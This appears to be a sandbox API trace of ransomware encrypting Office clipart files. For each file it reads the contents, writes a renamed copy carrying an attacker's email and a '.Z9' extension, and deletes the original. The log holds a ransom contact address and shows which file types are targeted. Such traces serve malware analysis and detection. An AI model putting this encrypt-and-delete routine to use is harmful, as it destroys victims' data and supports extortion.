	[0092.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString=".xls") returned 4
	[0092.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.794] lstrlenW (lpString=".xlsx") returned 5
	[0092.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.794] lstrlenW (lpString=".ppt") returned 4
	[0092.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.794] lstrlenW (lpString=".zip") returned 4
	[0092.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.794] lstrlenW (lpString=".rar") returned 4
	[0092.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString=".bz2") returned 4
	[0092.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString=".7z") returned 3
	[0092.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.794] lstrlenW (lpString=".dbf") returned 4
	[0092.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.794] lstrlenW (lpString=".1cd") returned 4
	[0092.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.794] lstrlenW (lpString=".jpg") returned 4
	[0092.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.794] lstrlenW (lpString=".doc") returned 4
	[0092.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString=".docx") returned 5
	[0092.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.794] lstrlenW (lpString=".pdf") returned 4
	[0092.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.795] lstrlenW (lpString=".xls") returned 4
	[0092.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.795] lstrlenW (lpString=".xlsx") returned 5
	[0092.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.795] lstrlenW (lpString=".ppt") returned 4
	[0092.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.795] lstrlenW (lpString=".zip") returned 4
	[0092.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.795] lstrlenW (lpString=".rar") returned 4
	[0092.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.795] lstrlenW (lpString=".bz2") returned 4
	[0092.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.795] lstrlenW (lpString=".7z") returned 3
	[0092.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.795] lstrlenW (lpString=".dbf") returned 4
	[0092.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.795] lstrlenW (lpString=".1cd") returned 4
	[0092.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.795] lstrlenW (lpString=".jpg") returned 4
	[0092.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.795] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.795] lstrlenW (lpString="FD00403_.WMF") returned 12
	[0092.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.796] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7878) returned 1
	[0092.796] CloseHandle (hObject=0x378) returned 1
	[0092.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220
	[0092.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.796] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.796] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.796] GetLastError () returned 0x0
	[0092.796] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1ec6, lpOverlapped=0x0) returned 1
	[0092.816] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0092.817] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.817] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.817] SetEndOfFile (hFile=0x300) returned 1
	[0092.818] CloseHandle (hObject=0x300) returned 1
	[0092.818] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.818] SetEndOfFile (hFile=0x378) returned 1
	[0092.818] CloseHandle (hObject=0x378) returned 1
	[0092.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1
	[0092.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.819] lstrlenW (lpString=".doc") returned 4
	[0092.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.819] lstrlenW (lpString=".docx") returned 5
	[0092.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.819] lstrlenW (lpString=".pdf") returned 4
	[0092.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.819] lstrlenW (lpString=".xls") returned 4
	[0092.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.819] lstrlenW (lpString=".xlsx") returned 5
	[0092.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.819] lstrlenW (lpString=".ppt") returned 4
	[0092.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.819] lstrlenW (lpString=".zip") returned 4
	[0092.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.819] lstrlenW (lpString=".rar") returned 4
	[0092.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.819] lstrlenW (lpString=".bz2") returned 4
	[0092.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.820] lstrlenW (lpString=".7z") returned 3
	[0092.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.820] lstrlenW (lpString=".dbf") returned 4
	[0092.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.820] lstrlenW (lpString=".1cd") returned 4
	[0092.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.820] lstrlenW (lpString=".jpg") returned 4
	[0092.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.820] lstrlenW (lpString=".doc") returned 4
	[0092.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.820] lstrlenW (lpString=".docx") returned 5
	[0092.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.820] lstrlenW (lpString=".pdf") returned 4
	[0092.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.820] lstrlenW (lpString=".xls") returned 4
	[0092.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.820] lstrlenW (lpString=".xlsx") returned 5
	[0092.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.821] lstrlenW (lpString=".ppt") returned 4
	[0092.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.821] lstrlenW (lpString=".zip") returned 4
	[0092.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.821] lstrlenW (lpString=".rar") returned 4
	[0092.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.821] lstrlenW (lpString=".bz2") returned 4
	[0092.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.821] lstrlenW (lpString=".7z") returned 3
	[0092.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.821] lstrlenW (lpString=".dbf") returned 4
	[0092.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.821] lstrlenW (lpString=".1cd") returned 4
	[0092.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0092.821] lstrlenW (lpString=".jpg") returned 4
	[0092.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.821] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.821] lstrlenW (lpString="FD00414_.WMF") returned 12
	[0092.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.822] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11002) returned 1
	[0092.822] CloseHandle (hObject=0x378) returned 1
	[0092.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220
	[0092.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.822] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.822] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.823] GetLastError () returned 0x0
	[0092.823] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2afa, lpOverlapped=0x0) returned 1
	[0092.824] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2b00, lpOverlapped=0x0) returned 1
	[0092.828] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.828] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.828] SetEndOfFile (hFile=0x300) returned 1
	[0092.828] CloseHandle (hObject=0x300) returned 1
	[0092.828] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.829] SetEndOfFile (hFile=0x378) returned 1
	[0092.829] CloseHandle (hObject=0x378) returned 1
	[0092.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1
	[0092.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.830] lstrlenW (lpString=".doc") returned 4
	[0092.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.830] lstrlenW (lpString=".docx") returned 5
	[0092.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.830] lstrlenW (lpString=".pdf") returned 4
	[0092.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.830] lstrlenW (lpString=".xls") returned 4
	[0092.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.830] lstrlenW (lpString=".xlsx") returned 5
	[0092.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.830] lstrlenW (lpString=".ppt") returned 4
	[0092.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.830] lstrlenW (lpString=".zip") returned 4
	[0092.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.830] lstrlenW (lpString=".rar") returned 4
	[0092.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.830] lstrlenW (lpString=".bz2") returned 4
	[0092.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.830] lstrlenW (lpString=".7z") returned 3
	[0092.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.830] lstrlenW (lpString=".dbf") returned 4
	[0092.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.831] lstrlenW (lpString=".1cd") returned 4
	[0092.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.831] lstrlenW (lpString=".jpg") returned 4
	[0092.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.831] lstrlenW (lpString=".doc") returned 4
	[0092.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString=".docx") returned 5
	[0092.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.831] lstrlenW (lpString=".pdf") returned 4
	[0092.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString=".xls") returned 4
	[0092.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.831] lstrlenW (lpString=".xlsx") returned 5
	[0092.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.831] lstrlenW (lpString=".ppt") returned 4
	[0092.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.831] lstrlenW (lpString=".zip") returned 4
	[0092.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.831] lstrlenW (lpString=".rar") returned 4
	[0092.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString=".bz2") returned 4
	[0092.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString=".7z") returned 3
	[0092.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.831] lstrlenW (lpString=".dbf") returned 4
	[0092.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.832] lstrlenW (lpString=".1cd") returned 4
	[0092.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0092.832] lstrlenW (lpString=".jpg") returned 4
	[0092.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.832] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.832] lstrlenW (lpString="FD00419_.WMF") returned 12
	[0092.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.832] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=16396) returned 1
	[0092.832] CloseHandle (hObject=0x378) returned 1
	[0092.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220
	[0092.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.832] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.833] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.841] GetLastError () returned 0x0
	[0092.841] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x400c, lpOverlapped=0x0) returned 1
	[0093.138] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4010, lpOverlapped=0x0) returned 1
	[0093.140] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.140] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.140] SetEndOfFile (hFile=0x300) returned 1
	[0093.140] CloseHandle (hObject=0x300) returned 1
	[0093.140] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.140] SetEndOfFile (hFile=0x378) returned 1
	[0093.141] CloseHandle (hObject=0x378) returned 1
	[0093.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1
	[0093.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.403] lstrlenW (lpString=".doc") returned 4
	[0093.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.403] lstrlenW (lpString=".docx") returned 5
